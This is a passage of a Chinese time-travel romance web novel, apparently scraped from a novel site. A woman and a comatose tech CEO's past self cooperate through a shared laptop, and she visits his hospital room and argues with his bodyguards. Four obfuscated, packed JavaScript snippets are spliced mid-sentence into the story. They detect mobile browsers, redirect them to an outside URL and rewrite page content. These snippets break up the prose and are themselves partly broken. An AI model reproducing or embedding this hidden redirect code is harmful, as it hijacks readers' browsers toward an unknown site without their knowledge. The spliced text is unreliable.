不过没关系，根本难不倒她！程安宁立刻补充：“那你更要扭转自己的命运，今后好好感受谈恋爱的快乐，不然躺在病床上没能好好享受人生多可惜啊！万一不会再有醒过来的机会，没办法实现自己的理想和抱负就更可惜了！” 电脑的另一端，梁彦看着文档上的小作文，又看着相机界面里那张坚毅认真的脸蛋，内心深处的负面情绪被一股隐隐躁动的干劲覆盖，原先听天由命的态度在此刻有了裂痕。 抱负吗？他没什么远大的抱负和理想，平日里只喜欢专注于接手的每一个项目。当然，他也期待随着公司团队的努力，他们开发的各项技术和产品能够广泛运用到各处。 眼下距离他出事只有一年左右的时间，他很大可能是没办法亲眼看到自己所期待的事情实现。 到时想做的事情做不了，死也死不了，只能一动不动地躺在病床上，对他来说确实是一种残酷的折磨。 至少，避开一年后的那个事故，改变自己成为植物人的事实吧。 随后，在看到对方准备继续打字游说之际，梁彦抢先一步在文档上打字：“那就试试吧。” 总算得到想要的答复，程安宁放在键盘上的手一顿，眼睛亮了起来。 隔着屏幕，梁彦看到那张娇俏的脸蛋难掩雀跃的神色，看着屏幕笑弯了眉眼，带着点可爱的傻气。 但很快，许是意识到自己的一举一动都暴露在电脑上，对方反应过来，关闭了相机界面。 生动的画面消失在眼前，电脑屏幕回到原有的单调乏味，就像看得兴起的电影突然被掐断，令人顿感遗憾。 梁彦的注意力重新回到文档上的交流内容，很是上道地打出一句：“现在该说你的条件了，程小姐。” 和聪明人交流就是不费劲，对方知道天底下没有白吃的午餐，程安宁很快整理好情绪，进入谈正事模式：“我这边是有重要的事情需要你的帮助，我们正好可以合作。我一定会全力以赴地帮你，你也必须做到我交给你的事情才行。” 只要双方都有所求，合作就能达成，这也是她耐心劝说对方燃起斗志扭转命运的原因。 一旦合作了，那么两人能依赖的也只有对方在各自时空的行动，而这就涉及到信任的问题了。 “既然答应了就不能反悔，我想梁总不会拿自己的性命开玩笑对吧？”程安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600046|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁补上这么一句。 梁彦发现对方跟他一样在信任方面都带着顾虑，只是，从眼下的状况看，主动权分明在对方手上，为什么对方还是会感到担心？ 这让他更好奇对方需要他做什么事情，或许答案就在她的条件里。 梁彦随之提出自己的困惑：“现在我的命运相当于掌握在你的手上，我能不能改变命运还要靠你不是么？反倒是我想知道你要如何保证会真的帮我？以及，你的条件究竟是什么？” 电脑另一端的程安宁微抿小嘴，神色缄默。 其实对方说的不完全对。他说他的命运掌握在她的手上，但实际上，是双方都握着彼此的命脉。 程安宁呼吸颤了颤，键盘上的双手再次动起来：“我的父母在四年前的一场火灾中丧生，我需要你帮助他们避开那一场火灾，让他们平安活下来。” 回忆汹涌沉重，泪水随着句号的敲下，彻底模糊了视线。 十九岁的某一天，她一夜之间失去了挚爱的双亲，成为孤儿。她甚至没有见到他们的最后一面，她就那样跪在众人议论纷纷的葬礼上，呆滞地看着灵堂上两个骨灰罐，眼里只剩下黑白两种色彩，犹如她今后眼中的世界。 她到现在还记得当时的场景，平日里和颜悦色的亲戚一个个变了脸，像是盘旋在尸骨堆上方的秃鹫，时刻等待分食她父母留下的一切。 当然，她没让他们得逞。 与此同时，梁彦看着电脑上的内容，神色一怔，瞬间明了。 原来是这样。 他们要做的事情都对彼此至关重要，不仅对方掌握他的命运，他也同样掌握着对方的，谁都拥有主动权，也都处于被动的一方。 只是要找到一个平衡点，让双方都能安心信任对方。 像是早就做好规划那般，文档上随之冒出新的内容：“我父母出事的日期是2020年5月14日晚上十点二十分，你出事的日期在同年的九月份，具体在哪一天我会等你真正做到我拜托的事情再揭晓，这对我来说也是一种保障。当然，我会帮忙打听你当初的具体行程和出事的原因，并且在接下来的日子里随时向你汇报情况，让你到时候可以避开那场事故。” 虽然人家是大佬级别的人物，但是在这种状况下，对她来说就是个完全不了解的陌生人。 人心险恶，在对待陌生人这一方面上，自然要谨慎，这也是她在具体日期方面有所保留的原因，毕竟要提防对方知道后翻脸不认人。 程安宁在句尾补上一句：“这是我能想到的最好的办法，你有异议的话可以提出来。” 看完文档上的内容，梁彦能够猜到她如此谨慎的原因。 她的提议是合理的，并且做出的承诺也能够让人看到诚意，着实没什么好挑刺的。 目光扫过右下角的时间，梁彦揉了揉眉心，喉间轻叹。 已经是凌晨三点了。 今晚注定是个不眠夜。 重新打起精神，他伸手敲下回复： “没有异议。” “合作愉快，程女士。” 19.19 敲定合作后，两人约法三章，一是为了不引起额外的麻烦导致两人的要事出现什么变故，要互相保守这个秘密，不能告诉第三人。二是有相关消息随时分享和商量。三是除了正事以外，可以力所能及地满足对方额外的要求，比如拜托对方去做什么事情之类的。 目前双方就暂定这三条规则，其它的今后想到了再商议补充。 天色蒙蒙亮，两人谈得差不多了，各自的时空里的生活还是要继续，梁彦见还有一点时间可以闭目养神，说了要休息便结束交流。 程安宁的精神则一直高度的亢奋，脑海里像是掀起了一番澎湃的风浪，一波接着一波，刺激着她的神经，击退了所有倦意。 她放弃小憩的念头，直接洗漱然后随便吃了几口面包边角料就赶着上班打卡。 一到公司，程安宁干劲十足，自己该负责的工作提前搞定。 总算不需要来回走动干这干那了，她在电脑前坐下来开始安心摸鱼。 程安宁打开浏览器，开始搜索未来科技公司的CEO梁彦当年出事的相关消息。 她是个说话算数的人，答应人家的事情，会自觉付诸行动。 搜索界面跳出数不清的相关词条，都是各家大小媒体的报道，内容别无二致，几乎都把每家媒体的报道都看完了，还是没有什么额外有价值的消息。 程安宁悻悻关闭页面，神色若有所思。 目前她通过新闻报道只了解到一些基础信息，比如：四年前车祸发生的地点是在清城的一处高速路段，时间在2020年9月10日的凌晨两点，车祸原因是刹车失灵，在高速路上横冲直撞，最后撞上路边护栏，当时车上只有梁彦一人。 至于那天人家的行程，通篇没有提到半个字。 而且她发现，除了当年报道这位大佬受伤严重成了植物人之外，后面三年的相关报道逐渐冷却下去，关注度也持续下降，最后的相关报道更是一只手都数得过来，日期最新鲜的一篇相关报道还是去年的年初，内容也没什么新奇的地方，只是报道这位大佬仍旧是植物人的现状。 可能反响平平，今年没再出现这位大佬的相关报道，他留给大众最后的印象就是成了植物人。 正出神，身后有一道黑影靠近过来，语气好奇：“在看什么呢？这么认真。” 程安宁一怔，慌张关闭网页的同时，回头发现是女同事，顿时松了口气，笑着打招呼：“孙姐。” 孙姐是她的同事之一，比她大两岁，前天入职的时候大家已经互相之间打过招呼了。 看她刚才被吓了一跳，孙玲噗嗤一笑，一手搭在她的椅背上，宽慰道：“摸鱼玩电脑而已，不用那么害怕，我们公司没有那么多规矩，是允许忙完自己分内的工作适当摸鱼的，只要不太过分就行。” 程安宁点头，安心不少：“这样啊。” 孙玲这会儿貌似也没什么事情要忙，站在原地继续跟她扯话题闲聊：“我刚才看到你在搜未来科技的事情。是不是听说我们这栋写字楼是未来科技以前的办公地方，所以好奇搜一下？” 程安宁顺着她的话应下：“是啊。反正闲着也是闲着。” 两人正说着话，一旁的男同事也插上一嘴：“事实证明，就算把公司开在人家知名大公司驻留的地方，也没有人家那个时运可以一飞冲天。” 听到他大胆开麦语出惊人，程安宁一脸不可思议，猛地望向不远处的办公室。 孙玲见状，拍了拍她的肩膀，提醒：“放心，宏哥下午要应酬，让我们三个好好待在公司看门，他出去挣钱给我们发工资。” 宏哥就是她们的老板。 男同事走到她们面前，又继续刚才的话题：“现在这一栋小写字楼里有多少家小公司和工作室在准备关了，不信你到我们楼上楼下看看，东西都收得一干二净的，我看我们公司也快了。” 孙玲瞪他：“别乌鸦嘴！我还想每个月挣这两千八呢！” 男同事切了一声，慢悠悠地喝着手中的咖啡，“反正我是不想挣了。我已经想好后路了，等宏哥撑不住了，我就去投靠我朋友，他就在未来科技工作，到时可以找他内推。” 说到这，他看向旁边安静坐着的倩影，笑眯眯做出邀请：“安宁，要不要一块儿跑路？这样我们有个伴，让我们玲姐留在这儿挣两千八吧。” 程安宁礼貌微笑，没有回话，眸底闪过一丝思量。 或许到未来科技公司打听，能打听到有用的消息。不过这就需要深入内部了，并且还得是了解情况的老员工，不然一般是打听不出什么情况的。 嗯，这是个难题，得认真想想才行。 孙玲则不留情面地投去鄙夷的眼神：“就你？你要是有能去未来科技的本事，早就进去了，还用在这里工作？” 男同事一噎，但不愿意在新同事面前掉面子，仍旧死撑：“我在这里不过是随便玩玩，你就等着看好了，未来科技现在不少岗位人员紧缺，正往外大力宣传招人，我进去还不是轻轻松松的事情？” 孙玲懒得再搭理他，视线重新回到程安宁身上，随口感慨：“真是可惜了，未来科技真正有实力的老板还在医院里躺着，现在的老板总是搞内部改革，近些年都没做出什么新成就，我看他迟早把未来科技作没了。” 程安宁原本在神游和听他们拌嘴，突然听到她提起未来科技的老板，瞬间来了精神，开口搭话：“真的还在医院里吗？好像很久没看到那位出事的老板的相关消息了，不知道现在恢复得怎么样了。” 孙玲挑眉，“这哪还有假的？我有个熟人在医院工作，我年初才听她提起过未来科技的老板就在她们医院的住院部，说是现在都没人去探望了，以前还有媒体记者过去打探情况，后面几乎没有了，要不是还能定期收到住院费，她们还以为他是被人忘在那儿了。” 程安宁闻言震惊，忙追问道：“在哪个医院？” 嘶……不应该啊，就算没再有媒体记者去了，不应该还有亲朋好友去探望吗？ 孙玲解惑：“就在清城第一人民医院的住院部。” 程安宁在心里认真记下，“还有更详细的吗？比如在第几层哪个病房。” 孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617619|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玲摇头，“这我就得帮你问问我朋友了。” 说着，冲她挤眉弄眼，打趣：“怎么啦？你是那个总裁的小迷妹？想去看看人家？” 此话一落，两道八卦的视线落在她身上。 程安宁眼皮一跳，面上自然笑笑，解释道：“不是，我有个朋友是记者，她最近想找个时间写一篇关于这位年轻总裁的报道，我在帮她打听那位总裁如今的下落，这样方便她实地探访。” “原来是这样啊。”孙玲没多想，热心地拿出手机：“我这就发消息帮你问问。” 程安宁眸光一亮，面露感激：“谢谢孙姐，我请你喝奶茶！” 太好了，误打误撞碰上了现成的情报员。 孙玲笑着摆手：“不用不用，就这么点小事。” 人家嘴上说不用，但实际行动上还是要做足，程安宁还是在手机上点了杯奶茶。 奶茶送到的时候，询问的事情也有了结果。 孙玲念出手机上收到的消息：“我朋友说在住院部C栋的16楼608号病房。” “好。”程安宁火速打开备忘录记下，随后给奶茶插上吸管，递给孙玲，同时不忘再次表达感谢。 既然递到眼前了，孙玲也没再拒绝，笑着说她太客气了。 旁边的男同事伸长脖子，目光往奶茶袋里剩下的唯一一杯奶茶看。 程安宁拿出奶茶，扭头对上他期待的视线，眸光微动，问：“严哥，你不是说你有朋友在未来科技工作吗？他在那里工作多久啦？” 提到这个事情，男同事一脸神气：“得有半年左右了吧。” 顿了顿，视线有意落在她手上的奶茶，“你要是对跳槽到未来科技这件事有兴趣，我可以让他帮你内推。” “不用了，谢谢。”程安宁微笑婉拒，随手给手上的奶茶插上吸管就喝了起来。 工龄只有半年，那肯定不了解以前的事情了，问不出什么有用的消息。 OK，奶茶省了。 男同事变了脸色，不再自讨没趣，板着脸回自己的工位上，嘴边意有所指地念叨：“现在的年轻人真是一点人情世故都不懂。” 程安宁神色淡淡，对这番点评无感。 她是一个把钱花在刀刃上的人。在对方不是自己好朋友好姐妹的情况下，她送出的奶茶当然要发挥有用的价值了，没有的话还不如自己喝了。 孙玲忍不住偷笑，小声蛐蛐：“安宁，不用管他，大男人一个还想蹭小姑娘买的奶茶，真是low。还好你不相信他的鬼话，他都在这里工作三年了，每次有新员工来都会吹嘘自己要去大公司工作，你信不信明年他还在这里？” 程安宁更加庆幸奶茶没有送出去了。 傍晚下班，程安宁这个急性子照着今天得到的讯息咬牙豁出去，直接花钱打车前往医院。 跟她合作的人真是有福了！她很有合作和契约精神，是真说到做到的那种，而且还是个行动力强的人，能当天做到的，绝不拖拉。 对方一定想不到，凌晨才刚说合作，她今天就跑过来见五年后的他了！ 20.20 经历了下班高峰期的塞车，原本半个小时的车程开了一个小时，期间听着司机对拥挤的车流爆粗口，程安宁识趣地降低存在感，安静缩在后座。 等到了清城第一人民医院，外边的天色已经完全暗下来。 下了车，程安宁踏进医院就开启找路模式，一路按照院内各个指示牌找过去。 身为清城的大医院之一，规模自然不是盖的。她差点被绕晕，再加上方向感有点差，她找了咨询台问路，最终还是绕了半个小时才找到住院部的C栋。 这个时间点下楼的人多，大多是住院部的家属赶着回家或者外出解决晚餐，反倒是上楼的人比较少。 进了其中一个空电梯，程安宁按下电梯的楼层键直奔16楼。 长长的走廊已经亮起了灯，只有零星几个病人家属在过道走动，护士站只有一位护士的身影，其她人应该是在病房里忙活或者吃饭去了，这会儿没人留意到她这个生面孔。 程安宁收起手机，开始找608号病房。 每一间病房外都挂有一块牌子，上面那间病房所住的病人名字，找起来挺方便的，程安宁很快在左侧的走廊尽头找到608号病房，门外的牌子上只写着“梁彦”二字，看样子这是单人间的病房。 信息都对上了，程安宁伸长脖子，透过门上的小窗，看到病床上躺着一道颀长的身影，除此之外没有其他人的身影。 不过有些距离，只能看到病床上的人盖着被子，看不清脸。 要不，进去看看？是可以进去的吧？ 嗯，肯定可以，她只是过来探望，又不是过来做坏事。 程安宁试着拧了一下门把手，发现是能拧开的。 她眸光一亮，准备推门进去之际，无意间侧目，看到不远处的护士站附近有一位护士正盯着她这边。 程安宁莫名有种被抓包的感觉，随即顿住手头上的举动，面上尴尬笑笑，脑海里飞快地想着对策。 就在她以为护士会过来询问情况时，那位护士只是淡淡地移开视线，走进护士站消失在她的视线里。 见状，程安宁松了一口气。 看样子人家是不会管那么多的，那她放心进去了。 推门进了病房，迎面的是空气中淡淡的消毒水味，程安宁虚掩着门，缓步靠近病床。 随着距离的缩近，她看到病床周围放置的各类医疗设备，以及……床上一张瘦削苍白的脸。 程安宁瞳孔一缩，瞬间敛起脸上的轻松神色。 和她在电脑上看到的不同，病床上的梁彦瘦到脱相，薄唇干裂苍白，脸庞两侧以及眼眶凹陷，没有半点血色，头发剃成了容易打理的寸头。 他的脸上身上各处连接着管子，就那样闭着眼安静地躺在那里，像是会随时没了声息。 程安宁走到病床的一侧停下，垂眼看到他有半边胳膊露在外边。 她随手拉起被子想帮着盖好，却看到了被子下那只枯瘦的胳膊，几乎是只剩下皮与骨头黏连。视线往下，那双她在视频里看到的修长好看的手，也是皮包骨的状态，手指似乎轻轻一折就会断。 腕上系着松垮的病人手环，上边写着“梁彦”二字，程安宁再次确认了自己没有走错病房，更没有认错人。 是昏迷太久，身体在日复一日的治疗中逐渐消耗成这副样子吗？ 程安宁沉默着塞好被子，目光重新回到那张脱相的脸，不禁叹了口气：“你怎么……这么瘦啊。” 虽然是无亲无故的人，但是这段时间通过在电脑上联络，并且看过对方在电脑另一端那副帅气鲜活的模样，如今亲眼看到对方毫无生气地躺在病床上的样子，心情难免会变得沉重。 床尾用绳子系着一个本子，程安宁拿起来翻看，是护工每天的打卡表。 旁边有一张凳子，她搬到床边坐下。 想起以前听说植物人是可以听到外界的一切，程安宁嘴边安慰道：“没关系，你不会永远都是这副样子的，我们一定会改变这一切。” 原本她在过来的路上想着等见到了五年后的梁彦，一定要拍下几张照片，回去后可以传到电脑上，跟对方证明自己过来探望他了。 但真正来到这里，看到他在病床上的样子，她不忍心让梁彦看到他自己这副惨状。 在病房里逗留了一会儿，程安宁起身准备回家。 她把凳子搬回原位，扭头跟病床上昏迷不醒的身影道：“我走了，回家找五年前的你聊天，有空我会来看你的，拜拜。” 说完，她没再停留，挪步走出病房。 不远处传来脚步声和说话声，程安宁把病房门重新关上，抬眼看到一行穿着黑色西装、佩戴墨镜和蓝牙耳机的男人朝这边走来，像是一群保镖。 那些人目光齐刷刷地落在她身上，有种要往她这边靠拢的架势。 程安宁眼皮一跳，莫名有种被人逮到从金库偷摸出来的样子，而对方气势汹汹，像是要将她缉拿归案。 她一时愣在原地，无处可逃。 眨眼间，一行人已经来到她面前停下。 为首的男人不像保镖，身上的西装质感和款式和其他人不一样，长相清隽，自带一种有钱人的贵气和傲慢，右边眉骨上有一道五公分左右、发白显眼的疤痕。 此刻，对方正皱眉看着她，又看了眼她身后的病房，问：“你是谁？到这间病房做什么？” 审问的语气让人听着不爽，不过碍于对方人多，程安宁还是回了一句：“探望病人。” 顿了顿，她反问：“你又是谁？” 男人没有回答她的话，依旧用审视的目光看她：“探望？你跟梁彦很熟么？” 程安宁被盯得很不爽，挺直腰板，扬起脖子直视他：“当然熟了，我是他朋友。” 闻言，男人轻蔑冷笑：“你以为我很好骗么？梁彦的朋友我都认识，我从来没见过你。” 说着，他一副看透一切的样子：“说实话吧，你是哪家媒体的记者？把工作证拿出来我看看，不然别怪我不客气了。” 程安宁太阳穴突突直跳。 真是神经病，她上哪儿翻记者工作证给他，居然还搞上威胁这一套了。 程安宁的逆反心理顿时涌上来，扬声反问：“现在是法治社会，你要怎么对我不客气？你一上来就问这问那，你以为你是谁啊？我都说了我不是记者，你是不是听不懂人话？” 这个男人这么欠揍，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642631|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀疑他眉骨上的疤就是平日里太嚣张被人给打的。 她的声音一大，其他病房里的家属纷纷出来看看是什么情况。 围观的人突然多了起来，男人面上忍了忍，扭头示意其中两位保镖疏散人群，随后语气笃定：“梁彦确确实实没有女性朋友。” 说着，直接趁她没注意夺过手里提着的帆布包，递给身旁的保镖：“翻她包里的工作证，看看是哪家媒体。” 程安宁反应过来，瞬间来气，箭步上前想抢回来：“把包还给我！我要报警了！” 另外一位保镖迅速挡在前面，“这位小姐，我们只是想确认一下你的身份和来意。” 程安宁差点气笑，视线越过面前的保镖看向他身后那张欠扁的脸：“如果是你们冤枉了我呢？” 一个个跟听不懂人话的，特别是那个男的，有妄想症似的，什么证据都没有就一口咬定她是记者。 保镖回话：“错了我们会道歉和补偿的。但如果……” 话音未落，旁边传来另外一位保镖的声音：“包里只有一个装着零钱的皮夹，两个饮料空瓶子和三个压平的快递盒，没有看到证件。” 程安宁哼笑，双手环在前面，好整以暇地看着他们。 男人皱眉，转头自己确认包里的东西，随后视线重新回到面前的身影：“你包里装这些东西有什么意图？” 程安宁弯着眉眼露出假笑：“意图就是装在包里等着傻子去翻。” 瓶子和快递盒都是她在公司里拿的，都是大家不要的，她有攒这些的习惯，当然是打算带回家了。 男人一噎，仍旧警惕地盯着她看：“翻不到不代表你是清白的，证件肯定被你放在身上，要么就是没带。” 程安宁目瞪口呆，拍手鼓掌：“绝了，真是什么话都被你说了。” 顿了顿，她从口袋里拿出手机：“闹够了是吧？现在我要报警了。” 男人没意见：“可以，让警察查你的身份。” 身正不怕影子斜，程安宁果断报警。 等待期间，程安宁拿回了自己的包包，同时指了指墙上的监控探头，“待会我们就让警察评评理，反正什么都录下来了。” 男人一脸不以为意，挪步走到她面前，打开病房门走进去。 程安宁见状，跟在他身后重新进到病房里。 只见男人在病房里来回走动翻找，一副生怕她在里面藏了什么东西或者做了什么手脚似的。 为了避免他做手脚冤枉自己，程安宁一脸无语地靠着墙看他忙活，同时冷静下来，觉得事情有点奇怪。 不是说几乎没人过来探望梁彦吗？为什么她一到这儿，这群人不久就及时出现把她堵住？是有人通风报信吗？ 而且还一口咬定她是记者，看样子很抗拒媒体到这边来。 难不成近些年有关梁彦的报道逐渐减少，直到今年完全消失，是这群人在有意遏制？ 可是，为什么？这些人到底是谁？ 思索无果的同时，男人在病房里也没有翻出什么东西，最后沉着脸回到走廊。 程安宁慢悠悠跟在身后，扭头跟床上的身影小声蛐蛐：“你是不是也觉得这个人很神经？” 21.21 回到走廊上不久，有两位警察出警来到医院。 在双方那里了解情况后，警察帮着证实了她不是记者的身份，接下来是双方的调解。 对方的保镖识趣地站出来，说要道歉和给补偿。 看着该道歉的人置身事外站在不远处，程安宁表态：“我不接受道歉，也不接受补偿。” 保镖问：“您的诉求是什么？” 程安宁指向不远处的身影：“如果是让他亲自跟我道歉和提补偿的话，我可以考虑一下。” 保镖面露难色。 男人像是听见她的话，突然挪步靠近过来。 就在程安宁以为对方会道歉时，男人像个复读机似的丢出一句：“你到底是谁？” 程安宁嘴角微抽，“警察不是告诉你了吗？我是一家小公司的普通职员，不是你臆想的媒体记者。” 男人拧眉补充：“我问的是你和梁彦的关系。” 顿了顿，又用那种锐利戒备的目光盯着她：“你不可能是他的朋友，你的目的是什么？” 程安宁白了他一眼，提醒：“道歉。” 这个男的怎么这么确定她不是梁彦的朋友？ 如果朋友身份行不通的话，她得重新想想了。可是她不清楚梁彦的人际关系，只掌握他未婚单身的讯息。要不就说是亲戚什么的？ 与此同时，男人自上而下地打量她，继续自说自话：“你该不会想说你是他的妹妹或者亲戚吧？我是梁彦多年的朋友，他身边有哪些人我最清楚了。” 程安宁眸底闪过心虚，面上不显，依旧坦荡地跟他对视。不过她能够从对方探究的眼神看出来，如果她顺势回答是妹妹或者亲戚，估计又会被对方以其它说法否定。这个男的，心眼多得很！ 程安宁没有回话，学他当起复读机：“道歉。” 见她油盐不进，男人直言道：“你不说清楚，下次别想再踏进这里一步。” 又搞威胁这一套，程安宁眸光微动，丝毫不慌：“先把我们双方眼下的事情解决了，我再告诉你。” 说着，她又重复：“道歉。” 话音刚落，爽快的道歉声响起：“对不起。” 程安宁还没反应过来，对方就已经开口道歉，并且提供补偿方案：“补偿方面，两千。” 程安宁神色愕然：“两千？” 她没听错吧？还以为顶破天给个一两百什么的，结果突然张口就要给她两千。 男人看到她的反应，以为嫌少，不耐皱眉：“五千，最多了。” 给钱不要是傻子，程安宁果断掏出手机：“发来。” 如果对方是个明事理好说话的人，她是不会要人家一分钱的。但问题是，这个男人一开始的态度实在是让她不爽，不仅咄咄逼人，还动手抢她的包，那她肯定不跟他客气了。 说着，生怕被反咬一口勒索，程安宁不忘看向周围的保镖，以及还未离开的两位警察道：“我没勒索他啊，是他自愿给的，大家做个见证。” 男人冷笑，“你心眼挺多。” 程安宁眯眼微笑，点开手机的收款码递上前：“没你多。” 于是，在大家的见证下，五千块转到手机上，双方就此达成和解，两位警察也离开了。 程安宁收回手机，笑眯眯看着对方：“下次有这种翻包给钱的活动，可以提前跟我商量，我很好说话的，还可以给你打折。” 男人没理会她话里话外的阴阳，“说吧，你和梁彦是什么关系？” 程安宁眸底闪过一丝思量，随后故作深沉地叹了口气：“其实我跟他的关系比较特殊，不是谁都能告诉的。” 毕竟两人保守同一个秘密，是掌握彼此命运的特殊关系。 男人细细咀嚼着她话里的“特殊”二字，脸上带着戏谑：“你该不会是想说你是他的女朋友吧？” 程安宁噎了一瞬。 对方要这么想的话……也行。 而且仔细一想，梁彦女朋友的身份，貌似还能方便她今后在其它方面上好办事，比如可以以想更加了解男朋友的事情，打听梁彦四年前车祸当天的行程什么的。 犹豫不到两秒，程安宁顺势应下：“是的，我就是他的女朋友。” 这下轮到男人被话噎住了。 他神色荒唐，仿佛听到了天大的笑话：“你还真敢认。我怎么不知道梁彦有女朋友？更何况我从来没有听到他提起过你。” 程安宁给了他一个白眼，自然应付：“什么事情都让你知道了那还得了？我们情侣之间的事情，他当然不会告诉你。我都还没问你是谁呢！” 男人冷笑：“如果你真的是梁彦的女朋友，他不可能没跟你提起我。” 顿了顿，他看了眼病床门口，视线又重新回到她身上，就她这个破绽百出的谎言发出质疑：“而且梁彦四年前就出事了，你却没有出现过，这点你要怎么解释？这是一个女朋友会做的事情么？” 程安宁呼吸一窒，面上沉默抿唇，垂眸看着地面，一副被质问得难过又愧疚的样子，实际上飞快运转脑袋想对策。 完了，临时撒的谎要立刻完善起来不是件容易的事啊！ 见她不出声，男人知道她回答不上来，再加上他看得出很难从她嘴里撬出实话，顿时没耐心纠缠，转身就走。 程安宁倏地抬头，一句话留住他：“本来我不想说的，其实我跟梁彦是网恋认识的，我们是彼此的网恋对象。” 男人脚步一顿，扭头看她。 程安宁的目光落在他微微抽搐的嘴角，面色伤感地叹了口气，硬着头皮继续说下去：“那个时候我不知道他的身份，我们还没奔现他就出事了，而且当时我家里也发生了一些事情，我们都顾不上对方。” “后来我一直试图联系他，发现找不到他，直到看到网上电视上都在播放他的新闻，我才知道他的身份和出事的消息。” 说到这，她适时红了眼眶，声音也憋出一点忏悔的哭腔出来：“那个时候我胆子很小，没有勇气面对这一切，所以选择了逃避，但是也成了我这些年的心魔，每每闭上眼睛我就会想到他、梦到他。” “现在我决定给当初胆小的自己，以及我跟他之前的感情做一个交代，所以过来看看他。” 这番话落下，一道轻蔑的嗤笑声在空阔的走廊响起，男人傲慢地眯起眼看她：“下次编故事之前请先在心里琢磨一下可信度有多少再说出来，不然就成笑话了。” 好不容易编出一个合理的故事结果被嘲笑了，程安宁原本还想挤出两滴眼泪来，这会儿见对方不信，顿时肃着脸，煞有其事道：“我说的都是真的，我有证据！只不过没带而已，不然都怕你觉得肉麻不敢看！” 她从小到大最擅长的就是面无表情地跟人争论胡扯，无论多离谱的事情，她都能扯到对方意志动摇，这也是她在狼人杀游戏中当狼人能屡战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661002|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屡胜的原因。 只是眼前的选手耐心耗尽，半点也不想听她编下去：“是么？等你真拿得出证据的时候再说吧。” 话落，男人移开视线，看向旁边的保镖嘱咐：“以后专门派一个人守在这里。” “是。”保镖会意点头，转头就开始安排人。 随后，一群人没再过多停留，挪步离开了，留下一位保镖待在走廊上。 程安宁看在眼里，明白对方派人留下是为了防她。 看样子在没有确认她的身份之前，对方是不会再让她靠近病房了。 总感觉哪里怪怪的。 程安宁的目光落在前方紧盯着自己一举一动的保镖，也没再逗留，识趣走人。 算了，反正她有的是时间琢磨清楚。 不信她编的故事是吧！ 走着瞧好了，她这边可是有强大的外援，能够协助她作假的那种。 …… 另一时空，夜色浓郁。 梁彦难得晚上加班会在不被其他人劝着回家的情况下，选择自觉早点下班，为此还成为了公司一大新鲜事。 回到家利索地忙完自己的事情，梁彦打开桌上那台旧笔记本电脑，拉开椅子坐下。 他今天不像昨晚那么晚才打开电脑，应该没有让对方久等吧？ 凌晨那会儿两人达成共识要时刻保持联系，不知道对方今天给他留言了什么内容。 电脑很快开机，没有冒出任何界面，看样子对方这会儿没有使用这台电脑。 梁彦的目光在电脑桌面找了一圈，没有找到新的留言文档，只有两人凌晨交流的那个文档还在桌面。 或许对方图方便，把留言放在这个文档里了。 梁彦双击点开文档，直接下拉到最后。 没有。 脸上有一瞬尴尬的情绪，梁彦默默把电脑推到一旁，拿出另外一台电脑开始办公。 同一时刻。 程安宁心满意足地填饱肚子回到家，手里还提着一份打包的炸鸡。 今晚她拿着手机里还没捂热乎的五千块，果断找了家炸鸡店吃了顿饱的，花了一百左右。不过一高兴高估了自己的胃口点了太多，最后把没吃完的打包回来了。 放好东西，程安宁第一时间给电脑开机，新建一个文档就往上面敲字：“在吗？” 电脑的另一端，说是办公，梁彦眼角的余光还是会留意一下旧电脑的动静。 在不知道第几次瞥向旧电脑屏幕时，他看到桌面自行弹出了文档界面，上面凭空出现了内容。 对方出现了。 梁彦搬开面前的办公电脑，把那台旧电脑挪到面前，打字秒回：“嗯。” 没料到对方就在电脑前，程安宁神色诧异，随即告知：“今天发生了很多事情！不过要打出来好麻烦啊，我先长话短说。有一个好消息和一个坏消息，全是关于你的，你要做好心理准备。” 见状，梁彦神色不由得严肃，回复：“好的。” 下一刻，屏幕上的字逐个跳出来：“好消息是，我今天打听到了你所在的医院和病房，并且顺利见到你了！” 梁彦看得认真，紧接着，下一行冒出新的内容：“坏消息是……” 